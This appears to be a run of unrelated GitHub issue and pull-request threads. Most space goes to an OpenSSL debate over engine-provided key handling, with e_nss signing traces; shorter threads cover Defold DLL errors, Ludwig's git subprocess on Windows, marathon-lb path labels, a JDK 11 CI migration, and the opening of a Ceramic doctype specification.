TRACE_E_NSS:nss_pkey_meths()  requested nid list
TRACE_E_NSS:nss_destroy()  ...
TRACE_E_NSS:destroy_nss_store()  e=0x1dab6e0, nss_scheme='nss'
TRACE_E_NSS:destroy_nss_store()  loader=0x1dafed0

[dbelyavs@localhost e_nss-4.2]$ ls -l sign
-rw-r--r--. 1 dbelyavs dbelyavs 0 Jan 14 19:48 sign

After the patch:
$ CONFIG_DIR=`pwd`/tests/nssdb OPENSSL_ENGINES=`pwd`/engines/.libs/ OPENSSL_CONF=/home/dbelyavs/upstream/e_nss-4.2/tests/openssl.cnf LD_LIBRARY_PATH=../openssl ../openssl/apps/openssl dgst -sha256 -sign "E_NSS Certificate (client-rsa) - E_NSS Test Team cyrillic-АБВ-Яабв-я greek-ΑΒΓ-Ωαβγ-ω" -keyform ENGINE -engine e_nss -passin file:tests/nsspassfile /home/dbelyavs/upstream/e_nss-4.2/tests/openssl.cnf > sign
TRACE_E_NSS:bind_helper()  args: e=0x8d76e0, id=<none>
TRACE_E_NSS:bind_nss()  args: e=0x8d76e0
TRACE_E_NSS:bind_nss_rsa_method()  nss_rsa_ctx_index=1
TRACE_E_NSS:bind_nss_rsa_method()  rsa_method=0x7f9124fb63c0[OpenSSL PKCS#1 RSA]
TRACE_E_NSS:bind_nss_dsa_method()  nss_dsa_ctx_index=1
TRACE_E_NSS:bind_nss_dsa_method()  dsa_method=0x7f9124fb4f40[OpenSSL DSA method]
TRACE_E_NSS:bind_nss_ec_method()  ec_method=0x8dc190
TRACE_E_NSS:bind_nss_ec_method()  nss_ec_ctx_index=1
TRACE_E_NSS:nss_ctrl()  cmd=211/DEBUG: i=3, p=(nil), f=(nil)
TRACE_E_NSS:nss_ctrl()  cmd=210/CONFIG_DIR: i=0, p=0x8d87c0, f=(nil)
TRACE_E_NSS:nss_init()  args: e=0x8d76e0
TRACE_E_NSS:nss_init_eng_ctx()  e=0x8d76e0, nss_eng_ctx_index=-1
TRACE_E_NSS:nss_init_eng_ctx()  nss_eng_ctx_index=2
TRACE_E_NSS:nss_init_eng_ctx()  ctx=0x8dc670
TRACE_E_NSS:nss_init()  ^ ok
TRACE_E_NSS:nss_digests()  requested nid list
TRACE_E_NSS:nss_pkey_meths()  requested nid list
Engine "e_nss" set.
INFO[e_nss] Loading private key - 'E_NSS Certificate (client-rsa) - E_NSS Test Team cyrillic-АБВ-Яабв-я greek-ΑΒΓ-Ωαβγ-ω'.
TRACE[e_nss] nss_init_database(): NSS_Init('/home/dbelyavs/upstream/e_nss-4.2/tests/nssdb') ...
TRACE[e_nss] nss_init_database(): FIPS mode: 0, PK11_IsFIPS()=0
DEBUG[e_nss] Signer's certificate found.
TRACE[e_nss] nss_load_key(): wincx=0x7ffdfef37570
TRACE_E_NSS:nss_pass_func()  args: slot=0x935e40, retry=0, arg=0x7ffdfef37570
TRACE_E_NSS:nss_pass_func_ui_method()  PK11_GetSlotName()='NSS User Private Key and Certificate Services'
TRACE_E_NSS:nss_pass_func_ui_method()  PK11_GetTokenName()='NSS Certificate DB'
TRACE_E_NSS:nss_pass_func_ui_method()  PK11_GetMinimumPwdLength()=0
TRACE_E_NSS:nss_pass_func_ui_method()  NSS_UI ui_method=0x8d8620, ui_data=0x7ffdfef37760
TRACE_E_NSS:nss_pass_func_ui_method()  prompt='Enter pass phrase for NSS Certificate DB:'
TRACE_E_NSS:nss_pass_func_ui_method()  buf1='testing'
TRACE_E_NSS:nss_pass_func_ui_method()  UI result[0]='testing'
TRACE[e_nss] nss_load_key(): pvtkey=0x97fcc0
TRACE[e_nss] nss_load_key(): pubkey=0x981100
TRACE[e_nss] nss_load_key(): q=0x981a70
TRACE_E_NSS:nss_rsa_init()  ...
TRACE_E_NSS:nss_rsa_init()  idx: 1, ptr: 0x993070
TRACE_E_NSS:nss_rsa_init()  ^ ok
TRACE[e_nss] nss_load_key(): pkey=0x9840e0
TRACE_E_NSS:nss_rsa_init()  ...
TRACE_E_NSS:nss_rsa_init()  idx: 1, ptr: 0x992b60
TRACE_E_NSS:nss_rsa_init()  ^ ok
TRACE_E_NSS:nss_init_keyctx_rsa()  RSA by default!
TRACE[e_nss] nss_load_key(): keyctx=0x992b60
TRACE[e_nss] nss_load_key(): keyctx->pvtkey=0x97fcc0
TRACE[e_nss] nss_load_key(): keyctx->pubkey=0x981100
TRACE[e_nss] nss_load_key(): ^ pkey=0x9840e0
TRACE_E_NSS:NSS_KEYCTX_free_rsa()  idx: 1, ptr: 0x993070
TRACE[e_nss] nss_rsa_sign(): args: dtype=672, m=0x7ffdfef37750, m_length=32
TRACE[e_nss] nss_rsa_sign(): rsa=0x993250, meth=0x8dc000, name=NSS PKCS#1 RSA method
TRACE[e_nss] nss_rsa_sign(): keyctx=0x992b60
TRACE[e_nss] nss_rsa_sign(): keyctx->pvtkey=0x97fcc0
TRACE[e_nss] nss_rsa_sign(): keyctx->pvtkey->keyType=1
TRACE[e_nss] nss_rsa_sign(): sigret=0x8de330
TRACE[e_nss] nss_rsa_sign(): rv=0
TRACE[e_nss] nss_rsa_sign(): sigret=0x8de330 len=256
TRACE[e_nss] nss_rsa_sign(): ret=1
TRACE_E_NSS:NSS_KEYCTX_free_rsa()  idx: 1, ptr: 0x992b60
TRACE_E_NSS:nss_finish()  ...
TRACE_E_NSS:nss_finish()  NSS_Shutdown() ...
TRACE_E_NSS:nss_pkey_meths()  requested nid list
TRACE_E_NSS:nss_destroy()  ...
TRACE_E_NSS:destroy_nss_store()  e=0x8d76e0, nss_scheme='nss'
TRACE_E_NSS:destroy_nss_store()  loader=0x8dbed0

[dbelyavs@localhost e_nss-4.2]$ ls -l sign
-rw-r--r--. 1 dbelyavs dbelyavs 256 Jan 14 19:57 sign

As you can see, the results are completely different.
I use e_nss-4.2 for tests with commented out engine-level workaround/assignment.
I kindly ask you to check again, because the error present in master is eliminated after my patch

(1) Correction "post factum".
So when engine return from load method using a hack provider could be eliminated.
Question is are we sure that provider must be eliminated?
(2) Correction "a priori".
So this is always existing functionality of OpenSSL utilities when key is in "engine" format. Also engine key methods are registered as default before implementation of ENGINE_FLAGS_NO_REGISTER_ALL (1.0.0?) and if is used by engine.
Remark: OpenSSL utility prints Engine "foo" set. This indicates that engine key methods are registered as default.
Let review RSA key constructors. This one with explicit engine parameter is out of interest.
So remain rsa_new_intern() cases where engine parameter is NULL. In this case is assigned  ENGINE_get_default_RSA().
After assignment is called "init" method. This is visible in the log - TRACE_E_NSS:nss_rsa_init().
Construction of DSA and EC keys follows the same logic.
So the another solution is to stop to set engine key methods as default.
(3) Real correction.
After creation of "legacy key" follows creation of PKEY. As this key methods is not OpenSSL one key is marked as foreign.
If I am not wrong next step from deserialisation process, i.e. decoder, is to import key. But the key is foreign! It seems to me import process ignores this fact and assigns a key manager. Expected is from "default" provider.
So at this phase PKEY structure is wrongly initialised. I'm not sure if the foreign flag is still set.
It is visible that PKEY mix non-OpenSSL key method with provider key manager.

Let assume properly created "foreign" pkey.
My conclusion that current implementation of import process will accept such pkey. Expected is import to ignore such key without to trigger error.

When engine load key is called code may return pkey with key manager provided by engine. Why not?
This model ensures compatibility with previous use cases.

(1) Correction "post factum".
So when engine return from load method using a hack provider could be eliminated.
Question is are we sure that provider must be eliminated?

My approach seems to fix the issue when we lose the foreigness of the key. I think we don't lose anything (but avoid the current hack to preserve the foreigness in applications)

(2) Correction "a priori". So this is always existing functionality of OpenSSL utilities when key is in "engine" format. Also engine key methods are registered as default before implementation of ENGINE_FLAGS_NO_REGISTER_ALL (1.0.0?) and if is used by engine. Remark: OpenSSL utility prints Engine "foo" set. This indicates that engine key methods are registered as default.
Let review RSA key constructors. This one with explicit engine parameter is out of interest. So remain rsa_new_intern() cases where engine parameter is NULL. In this case is assigned ENGINE_get_default_RSA(). After assignment is called "init" method. This is visible in the log - TRACE_E_NSS:nss_rsa_init(). Construction of DSA and EC keys follows the same logic.
So the another solution is to stop to set engine key methods as default.

Do I correctly understand that, when this approach is taken, you lose some external data that is crucial for dealing with engine-provided keys? If this data is not crucial, we are able to operate them using provider API.

(3) Real correction. After creation of "legacy key" follows creation of PKEY. As this key methods is not OpenSSL one key is marked as foreign. If I am not wrong next step from deserialisation process, i.e. decoder, is to import key. But the key is foreign! It seems to me import process ignores this fact and assigns a key manager. Expected is from "default" provider. So at this phase PKEY structure is wrongly initialised. I'm not sure if the foreign flag is still set. It is visible that PKEY mix non-OpenSSL key method with provider key manager.

My fix is intended to fix the foreign flag. And I see it does it :)

Let assume properly created "foreign" pkey. My conclusion that current implementation of import process will accept such pkey. Expected is import to ignore such key without to trigger error.

Properly created "foreign" key, AFAICS, may or may not have the data necessary for default provider - but should be still loaded and usable (which is not correct without my patch) or fail to load.

When engine load key is called code may return pkey with key manager provided by engine. Why not?
This model ensures compatibility with previous use cases.

Sorry, I don't get your point

Dear @petrovr
From my point of view, this PR fixes some problems currently present in case when engine-backed keys are in use. If you confirm that at least one use case is fixed, it will be possible to merge this PR and make a step forward to a next corner case.

When engine load key is called code may return pkey with key manager provided by engine. Why not?
This model ensures compatibility with previous use cases.

Sorry, I don't get your point

E_NSS engine provides 'classical'  and 'store-based' load of keys. Both models call one and the same function() to constuct PKEY. I cannot see any reason to change this model.
One day, when I found OpenSSL 3 stable enoungh I will change function(*) to construct PKEY using Provider API.

Let assume properly created "foreign" pkey. My conclusion that current implementation of import process will accept such pkey. Expected is import to ignore such key without to trigger error.

Properly created "foreign" key, AFAICS, may or may not have the data necessary for default provider - but should be still loaded and usable (which is not correct without my patch) or fail to load.

Common! Store functionality works and the keys are loaded! Even more they could be used in signature operations! This is visible from sign3-* tests! In this case hack in engine code is needless!

(3) Real correction.
My fix is intended to fix the foreign flag. And I see it does it :)
But not in correct way.
Current construction process broke key and then in one corner case proposed patch try to fix this, i.e. to abandon provider.

Do I correctly understand that, when this approach is taken, you lose some external data that is crucial for dealing with engine-provided keys? If this data is not crucial, we are able to operate them using provider API.

No! Not me! OpenSSL key construction phase (import?) ignores already collected key data and assign provider.

P.S. e_nss engines instructs OpenSSL code do not set engine key methods as default. Related to case (2).

This PR is in a state where it requires action by @openssl/committers but the last update was 30 days ago

This PR is in a state where it requires action by @openssl/committers but the last update was 61 days ago

This PR is in a state where it requires action by @openssl/committers but the last update was 92 days ago

This PR is in a state where it requires action by @openssl/committers but the last update was 123 days ago

This PR is in a state where it requires action by @openssl/committers but the last update was 154 days ago

This PR is in a state where it requires action by @openssl/committers but the last update was 185 days ago

This PR is in a state where it requires action by @openssl/committers but the last update was 216 days ago

This PR is in a state where it requires action by @openssl/committers but the last update was 247 days ago

Ping @openssl/committers for the 2nd review

This pull request is ready to merge

Merged, thanks.

This change appears to have changed the pkcs11 mechanism used for RSA keys in the pkcs11_engine from libp11. openssl is now requesting RSA_NO_PADDING, which is converted to CKM_RSA_X_509 on the engine side. In particular, I have observed this using wpa_supplicant 802.1x authentication, which is using openssl/libp11 engine.
This is undesirable as keys are not always accessible to be used without padding. Is this WAI, and I should look to libp11 for a fix to not indicate a "classic" key?


Unroll parametervectors in circuit.execute

Summary
Fixes #5467
If parameters are given in parameter vector when calling the execute or the assemble function a mismatch error is raised.
Details and comments
This issue needed quite some rework on the _expand_parameters function which was not able to compare bind and circuit parameters in this specific case. For this reason it would need careful code review and, possibly more testing.

Thanks for your help.

Thanks for your help.


Add UML diagrams

We need UML diagrams that illustrate the system's design and architecture for milestone 1. Will get them from Caner and add them to the wiki.
Due Date: 30 October

I have low internet connection can you solve this? @dbaslan

Diagram added, will update it as we change the architecture, might add others as well. Closing.


Error connecting to debugger

Description:
When fetching and running this module without making any code changes, I encounter the error: clojure.lang.ExceptionInfo: Failed to connect to debugger on localhost:8172 The same error occurs when running the example project.
Steps to Reproduce:

Fetch the module and run.
Attempt to run the example project.

System Information:

Defold version: 1.9.1
OS name: Windows 10
OS arch: amd64
GPU: NVIDIA GeForce RTX 4070Ti
GPU Driver: 4.6.0 NVIDIA 552.44

Logs:
2024-08-06 19:56:20.733 1073013 [pool-3-thread-2] ERROR editor.error-reporting - {:line 115, :ex-data {:address "localhost", :port 8172}}
clojure.lang.ExceptionInfo: Failed to connect to debugger on localhost:8172
	at editor.debugging.mobdebug$connect_BANG_$fn__61028.invoke(mobdebug.clj:159)
	at clojure.lang.AFn.run(AFn.java:22)
	at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539)
	at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
	at java.base/java.lang.Thread.run(Thread.java:833)

What happens if you run using Ctrl+B without debugger? Could you please provide full console log?

What happens if you run using Ctrl+B without debugger? Could you please provide full console log?

If I run Ctrl+B, the project does not start.
this log?
editor2.2024-08-06.log

What happens if you run using Ctrl+B without debugger? Could you please provide full console log?

The console log is not reached - the project is not built to the end, the error occurs somewhere in the Clojure.

Steps to Reproduce:

Fetch the module and run.
Attempt to run the example project.

I have a similar problem - if i add this steam extension to my steam project, the project just won't start.
No errors.
Selecting "Project->Build" or pressing Ctrl-B will do nothing. Nothing happens.

Did you copy dynamic libraries like it's specified in manual ?

Did you copy dynamic libraries like it's specified in manual ?

But that's advice for macOS, and we have Win10.

Unfortunately, windows doesn't throw the error into console if the error related to the missing dependencies. But the error popups are supressed if it runs the way it runs from the editor.
The simplest way to see the error would be run exe file of the engine manually :

Build the editor
Then open build folder in your project, your architecture win32 and run dmengine.exe

If I'm right, you supposed to see a popup with an error, please share it with me.
I assume you'll see missing dynamic library dependency. Defold do not officially support any manipulations with dynamic libraries, but it's planned: https://github.com/defold/defold/issues/3334
You can solve it yourself.
It's possible by putting DLLs into one of the folders where windows are looking for such libraries, or specify in PATH (or registry) where windows should look for dynamic folders in your case.  Read about it here: https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order

If I'm right, you supposed to see a popup with an error, please share it with me.
I assume you'll see missing dynamic library dependency. Defold do not officially support any manipulations with dynamic libraries, but it's planned: defold/defold#3334

I had completely forgotten that you need a steam_api.dll to run the Steam SDK. That's really obvious. :(

yes, miss steam_api64.dll
thank you

yes, exactly what I thought:
Cannot continue code execution because the system did not detect steam_api64.dll. To fix try reinstalling the program.

So, yes, steam_api64.dll is something you have to provide for the executable by one of the ways suggested in the article I posted above.
It's unfortunate that such system errors can't be properly shown in the console.


Refactor login

We currently have a bit of Passport.js boilerplate in our authentication code that is supposed to allow for email login, even though we only allow logins with usernames. This caused our API to be inconsistent (e.g. we called a username an "identifier" on login, but a "name" on registration). Also, the code authentication endpoint was overcomplicated.
Anyway, now we explicitly only allow usernames for login.
This PR also refactors some of the boilerplate code from callbacks to use Promises instead.

Looks good to me, but I'll wait for YMK.

Yeah, looks good.


Add files via upload

Update to my Portfolio Site with needed files on html, css and javascript.

No issues located.


Unable to hear the recorded audio

Please fill the template to help you out. Also, please try the Example project compare before submiting the issue when you have certain issue with your project setup.

Version of react-native-audio-recorder-player
3.6.4
Version of React Native
0.70.3
Platforms you faced the error (IOS or Android or both?)
Android(Android Studio emulator)
Expected behavior
Able to hear the recorded voice note from the recorder.
Actual behavior
After recording a voice note, when I click on play, it is not playing anything.
Steps to reproduce the behabior

Followed these steps.

Hello, everyone! I am attempting to run the example of this project. It builds without any errors, but after recording, it is not playing the audio back. I have not changed any code in the given example, and I am attaching the screencast for reference. I am new to this, so can anyone help me make it run? Thank you.
https://github.com/hyochan/react-native-audio-recorder-player/assets/62102591/e7bc4ce1-51eb-4994-ac09-20c03633f6e3

I'm having the same issue. Did you ever figure out what was going on?


Lightly object detection input: Key error

The line here fails with a KeyError if there is a Lightly object detection label in the input folder that doesn't have a corresponding image in the images folder. The error message is not descriptive and I had to dig into the code in order to understand what went wrong.
I'm not sure what's the best way to fix this. I see three options:

Raise a custom error with a descriptive error message.
Check if the label has a corresponding image. If not just continue.
Check if the label has a corresponding image. If not raise a warning and continue.

Let me know what you'd prefer. I'm happy to make a pull request and fix it.

Thanks for the issue report!
I suggest to be strict with opt-out:

By default, print a descriptive error.
Offer --skip-labels-without-image (better name is welcome) option to bypass.

I just looked at the code and there's an inconsistency between the Kitti and Lightly format:
For Kitti, get_labels iterates over all images in the image directory and returns only labels for existing images:
    def get_labels(self) -> Iterable[ImageObjectDetection]:
        category_name_to_category = {cat.name: cat for cat in self._categories}

        for image in self.get_images():
            label_path = (self._input_folder / image.filename).with_suffix(".txt")
            if not label_path.exists():
                logger.warning(
                    f"Label file '{label_path}' for image '{image.filename}' does not exist."
                )

For Lightly, the method iterates over the labels and raises the KeyError reported above if the corresponding image doesn't exist.
IMO if we touch the code we should make it consistent so my proposal is to:

Raise ImageNotFoundError instead of KeyError in Lightly object detection labels.
Refactor Kitti labels to work the same way and raise ImageNotFoundError there, too.
Add --skip-labels-without-image for both.

Sounds good to me ✅


Subprocess does not find git on Windows

Upon first running, I get the error below. I traced this back to a problem with the way in which Windows resolves executable extensions, per the links below. I am able to resolve this for now by adding the shell=True argument to line 41 of ludwig\utils\misc.py, but this solution is not recommended. Any advice?
I am running Anaconda on Windows 10. Github Desktop and Git for Windows installed.

https://github.com/kennethreitz/legit/issues/148
https://stackoverflow.com/questions/4965175/make-subprocess-find-git-executable-on-windows/10555130#10555130

the Windows API function CreateProcess, used by subprocess under the hood, doesn't auto-resolve other executable extensions than .exe. On Windows, the 'git' command is really installed as git.cmd. Therefore, you should modify your example to explicitly invoke git.cmd

Traceback (most recent call last):
File "c:\anaconda3\lib\runpy.py", line 193, in _run_module_as_main
"main", mod_spec)
File "c:\anaconda3\lib\runpy.py", line 85, in run_code
exec(code, run_globals)
File "C:\Anaconda3\Scripts\ludwig.exe_main.py", line 9, in
File "c:\anaconda3\lib\site-packages\ludwig\cli.py", line 86, in main
CLI()
File "c:\anaconda3\lib\site-packages\ludwig\cli.py", line 64, in init
getattr(self, args.command)()
File "c:\anaconda3\lib\site-packages\ludwig\cli.py", line 67, in experiment
experiment.cli(sys.argv[2:])
File "c:\anaconda3\lib\site-packages\ludwig\experiment.py", line 548, in cli
experiment(**vars(args))
File "c:\anaconda3\lib\site-packages\ludwig\experiment.py", line 201, in experiment
random_seed
File "c:\anaconda3\lib\site-packages\ludwig\utils\misc.py", line 43, in get_experiment_description
stdout=open(os.devnull, 'w')) == 0
File "c:\anaconda3\lib\subprocess.py", line 267, in call
with Popen(*popenargs, **kwargs) as p:
File "c:\anaconda3\lib\subprocess.py", line 709, in init
restore_signals, start_new_session)
File "c:\anaconda3\lib\subprocess.py", line 997, in _execute_child
startupinfo)
FileNotFoundError: [WinError 2] The system cannot find the file specified

That functionality is useful to keep track of the specific git hash of the current Ludwig directory if you are running experiments from a cloned repo. it is not a feature everyone will use, so I'll probably just wrap it in a try/except and return False otherwise. Will look into it and see if I can find a better solution, but the problem is that i don't have a windows machine to test it on at the moment, will have to create a virtual machine specifically for this purpose. Anyway, with that fix in the meantime it will make it usable for Windows users at least.

Yes, that fixes the issue.
Thank you!


Add command to get zork's number of connections.

Send "connections" to zork and it will reply with the number of connections it has open.

This change is

done -- thanks Trevor!

:+1:


Which Nvidia GPU card do you use for training?

Hey, author!
I would like to ask which Nvidia GPU card do you use for training?
and How many cards do you use?

Hi, the models are trained with eight Tesla V100 (16GB) GPUs.

@feinanshan Thank you very much! But I don't have too much GPUs to use, only four RTX 2080Ti, so I can only train the TDNet18-lw.

@feinanshan
Hi, I would like to know how many hours do 8 v100s for training?

@feinanshan
Hi, I would like to know how many hours do 8 v100s for training?


Multi app in single domain

Hi all
marathon-lb support many path in a single dns?
i have a single dns mydns.com, i try to configure marathon-lb for this configuration mydns.com/app1 redirect the traffic to a specific service, and another configuration mydns,com/app2 to another service.
which labes HAPROXY have to set in my json file?
thanks in advance

You have to set these labels:
HAPROXY_0_PATH = <your uri path>
HAPROXY_0_VHOST=<your domain>

PATH can also include regex. As example:
HAPROXY_0_PATH=^/api1/funx/(v2_alpha|r0)/sync$

But then you have to add also these label:
HAPROXY_0_HTTPS_FRONTEND_ACL_ONLY_WITH_PATH= acl path_{backend} path_reg {path}


[#63] Migrate project to jdk 11

Resolves #63
Upgrade jdk 11 with maintaining jdk 1.8.
Changes

[x] add profiles to manage properties in pom.xml

jdk version
surefire configuration

[x] add jdk 11 in travis.yml

TEST

verify current profile (jdk11 or jdk8)

mvn help:active-profiles

build & test

mvn install

@Doyuni
Hi there, please resolve the conflicts. (pom.xml)

The travis-ci is not triggered. Let me check..

@Doyuni
Hi there, please resolve the conflicts. (pom.xml)

The travis-ci is not triggered. Let me check..

It was triggered. Maybe you pushed pr in simillar time to #77, and make this not worked.

It passes the build. but why pending?

@ztkmkoo

It passes the build. but why pending?

So...Can I close #63 and #73 ?

@Doyuni
After merge the pr, #63 and #73 will be closed automatically

https://travis-ci.org/github/ztkmkoo/dss/jobs/711091605
last line
[ERROR] Failed to execute goal org.eluder.coveralls:coveralls-maven-plugin:4.3.0:report (default-cli) on project dss: I/O operation failed: No coverage report files found -> [Help 1]

[ERROR]

[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.

[ERROR] Re-run Maven using the -X switch to enable full debug logging.

[ERROR]

[ERROR] For more information about the errors and possible solutions, please read the following articles:

[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException

@Doyuni
HI,
coveralls was pending with both jdk8 and jdk11,
i have no idea, i will try this..
jdk8 log

https://travis-ci.org/github/ztkmkoo/dss/jobs/714473116
No coverage report files found

[INFO] ------------------------------------------------------------------------

[INFO] Reactor Summary for DSS PARENT 0.4.3:

[INFO]

[INFO] DSS PARENT ......................................... FAILURE [  2.690 s]

[INFO] DSS COMMON ......................................... SUCCESS [  0.766 s]

[INFO] DSS CORE ........................................... SUCCESS [  8.412 s]

[INFO] DSS ................................................ SUCCESS [  4.689 s]

[INFO] ------------------------------------------------------------------------

[INFO] BUILD FAILURE

[INFO] ------------------------------------------------------------------------

[INFO] Total time:  17.855 s

[INFO] Finished at: 2020-08-03T13:46:01Z

[INFO] ------------------------------------------------------------------------

[ERROR] Failed to execute goal org.eluder.coveralls:coveralls-maven-plugin:4.3.0:report (default-cli) on project dss: I/O operation failed: No coverage report files found -> [Help 1]

[ERROR]

[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.

[ERROR] Re-run Maven using the -X switch to enable full debug logging.

[ERROR]

[ERROR] For more information about the errors and possible solutions, please read the following articles:

[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException

jdk 11

https://travis-ci.org/github/ztkmkoo/dss/jobs/714473117
Skip property set, skipping plugin execution

[INFO] Skip property set, skipping plugin execution

[INFO] ------------------------------------------------------------------------

[INFO] Reactor Summary for DSS PARENT 0.4.3:

[INFO]

[INFO] DSS PARENT ......................................... SUCCESS [  5.039 s]

[INFO] DSS COMMON ......................................... SUCCESS [  1.050 s]

[INFO] DSS CORE ........................................... SUCCESS [ 11.894 s]

[INFO] DSS ................................................ SUCCESS [  5.503 s]

[INFO] ------------------------------------------------------------------------

[INFO] BUILD SUCCESS

[INFO] ------------------------------------------------------------------------

[INFO] Total time:  25.149 s

[INFO] Finished at: 2020-08-03T14:03:20Z

[INFO] ------------------------------------------------------------------------

@ztkmkoo
Hi, I know this issue...I'm trying to solve this problem.
Ref

jacoco 0.8.3 supports jdk 11
coveralls 4.3.0 does not work on jdk 11

@Doyuni
https://github.com/LorenzoBettini/github-travis-coveralls-example/pull/6/files
I found this link..

@ztkmkoo
I already tried this but it doesn't work.
[ERROR] Failed to execute goal org.eluder.coveralls:coveralls-maven-plugin:4.3.0:report (default-cli) on project dss: I/O operation failed: No coverage report files found -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException

Coverage increased (+0.1%) to 83.75% when pulling f1452be96e24fe4f89943c0c33cb53dc7ecf000a on Doyuni:develop into b61f30e1b820ab7c8fd35111da206989e882da13 on ztkmkoo:develop.

@Doyuni
Hi, you complete the jacoco progress! Greate job!
Could you rebase your commit?
f1452be96e24fe4f89943c0c33cb53dc7ecf000a commit remained repo token?
After i will merge the pr

@ztkmkoo
Oh...I rebase...but is it alright?


PDF generation fails when using invalid HTML

As discussed previously here, PDF generation fails when trying to parse text which is not in a somewhat valid HTML format.
This is due to the usage of this function
var image_sources = map($(content).find("img"), function(element) {     return element.getAttribute("src"); });
`
originally introduced here.
This function tries desperately to parse the string (content) to a $document object and throws an error if it fails.

I stumbled over this when I wrote the docx export: Imported motions could contain öäü,... but if I edited the text, tinyMCE saved this as correct html (with &uuml,...). Whats about to convert every plain text internally to html?

yep. Thats the way to go.


vim-plugins: onehalf - fix path

Motivation for this change
Currently plugin is not being loaded because it's located in a vim subdir of a git repository.
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[x] NixOS
[x] macOS
[x] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-ready-for-review/3032/434

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-ready-for-review/3032/434

@onsails is this still relevant?

@onsails is this still relevant?

yep, merge conflict is solved


Metric Aggregator bug with sticky selector

Description
if i create a metric of type distribution, i need to click the distribution query function of course. If i then go to create another distribution metric, the distribution button remains checked but if i continue it creates a summary metric instead. To create a distribution metric i need to uncheck distribution and recheck it.
Steps to Reproduce
Failure case:
Go to metric aggregator and create a rule based on a metric
Choose Distribution query function
Create rule
Notice that it creates a distribution metric
Click create rule again
Notice that distribution is selected automatically
Click create rule
Notice that the rule made is a summary rule
Success case: Same as above, except instead of leaving distribution selected click to summary first then  back to distribution. Notice that the rule made is a distribution rule
Expected Behaviour
Expect that the distribution selection is cleared when creating a rule.
I'd also be fine with it creating a distribution metric if that's what is selected. ultimately either case is fine, it resets or it creates the thing it shows as being selected. as long as whatever is created is what is shown
Relevant Logs / Console output
Your Environment
New Relic One UI, Metric Aggregator App
TIP:  # ( Include as many relevant details about your environment as possible. )

NR1 CLI version used:
Browser name and version:
Operating System and version:

Additional context

Thanks for pointing this out. This last push should have fixed this.


Change git commit to use short ID instead

Related issue: https://github.com/GoogleCloudPlatform/skaffold/issues/157

I signed it!


Doctypes

cip: 5
title: Doctypes
author: Michael Sena (http://github.com/michaelsena), Joel Thorstensson (http://github.com/oed), Janko Simonovic
discussions-to: https://github.com/ceramicnetwork/CIP/issues/37
status: Draft
category: Standards
type: Core
created: 2020-06-23

Simple Summary
How to specify a doctype.
Abstract
All documents stored on the Ceramic network must conform to a doctype. Doctypes define rules for document content and state transitions, enabling Ceramic nodes to validate updates to a given document.
Motivation
With the guidance of this specification, anyone can specify their own doctype if the existing ones provided by the community do not suit their specific use case.
Specification
Each Ceramic document consists of a series of linked records, which essentially form a "doc-chain." A doctype defines the rules for what data may be contained in these records as well as the state transition function that determines how to process new records.
Record Formats
This section describes how the data contained in various record types has to be structured. The record schemas in the Ceramic specs define some basic properties that have to be specified by all records of that particular type. When a Doctype is defined in a CIP it needs to describe if the records differ in any way to the records defined in the specs, and in particular define what the content of the data property looks like.
State Transitions
The state transition function is the heart of a doctype definition. It specifies how the doctype processes the records to update the state of the document. Below the DocState object is defined along with other important considerations.

Note that we use a typescript implementation as an example here to more easily describe how the state transitions should work. Implementations in other languages will look differently, but the core logic should be the same.

In general we refer to the function that computes the state transition as a DoctypeHandler. When creating a CIP for a doctype the state transitions below should be described in detail.
enum SignatureStatus {
  GENESIS,
  PARTIAL,
  SIGNED
}

enum AnchorStatus {
  NOT_REQUESTED,
  PENDING,
  PROCESSING,
  ANCHORED,
  FAILED
}

interface DocMetadata {
  owners: Array<string>;
  schema?: String;
  tags?: Array<string>;
}

interface DocNext {
  content?: any;
  metadata?: DocMetadata;
}

interface DocState {
  doctype: string;
  metadata: DocMetadata;
  content: any;
  next?: Next;
  signature: SignatureStatus;
  anchorStatus: AnchorStatus;
  anchorScheduledFor?: number; // only present when anchor status is pending
  anchorProof?: AnchorProof; // the anchor proof of the latest anchor, only present when anchor status is anchored
  log: Array<CID>;
}

The SignatureStatus has three different values.

GENESIS means that the genesis object is the only record that has been applied, and that the genesis record does not contain a signature.
PARTIAL means that only a set out of multiple required signature (records) have been applied.
SIGNED means that the document is fully signed, only at this point can anchor records be applied.

The AnchorStatus describes if the latest update to the document has been anchored, or what state the anchor request is in.
Below the general functioning of the DoctypeHandler is described for each record type. When creating a CIP for a doctype each of these function need to be described in detail.
Applying a Genesis Record
When the DoctypeHandler receives a GenesisRecord it will also get an empty DocState and the CID of the record. Given the data in the record, the handler should return a DocState object which contains all the non optional properties. The CID should be added to the log property.
Applying a Signed Record
When the DoctypeHandler receives a SignedRecord it will get the current DocState, the record, and the CID of the record. Based on the content in the signed record the nextContent (and optionally the nextMetadata) properties should be populated. The anchorStatus and signature properties should be updated as well. The CID should be added to the log property.

Note that this function may throw an error if the record is invalid for some reason.

Applying an Anchor Record
